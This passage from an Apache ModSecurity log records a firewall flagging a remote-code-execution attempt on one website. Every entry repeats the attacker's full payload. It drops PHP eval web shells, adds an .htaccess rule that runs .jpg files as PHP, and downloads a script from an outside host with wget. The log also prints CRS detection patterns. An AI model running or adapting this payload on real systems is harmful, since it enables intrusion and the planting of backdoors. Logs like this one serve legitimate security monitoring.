sites/default/files/; ec..."] [severit [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.293619 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "159"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; wget found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [t [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.293701 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.293779 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "295"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; wget found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.293937 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.294081 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.294172 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Matched phrase "$_POST" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "161"] [id "933130"] [msg "PHP Injection Attack: Variables Found"] [data "Matched Data: $_POST found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http:/40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.294307 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "349"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-mul [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.294404 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "70"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: eval( found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.295943 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 50)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.303695 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 50 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=30,PHPI=15,HTTP=0,SESS=0): individual paranoia level scores: 50, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.514961 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.645954 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.737185 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.753848 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http:/40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.753984 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; 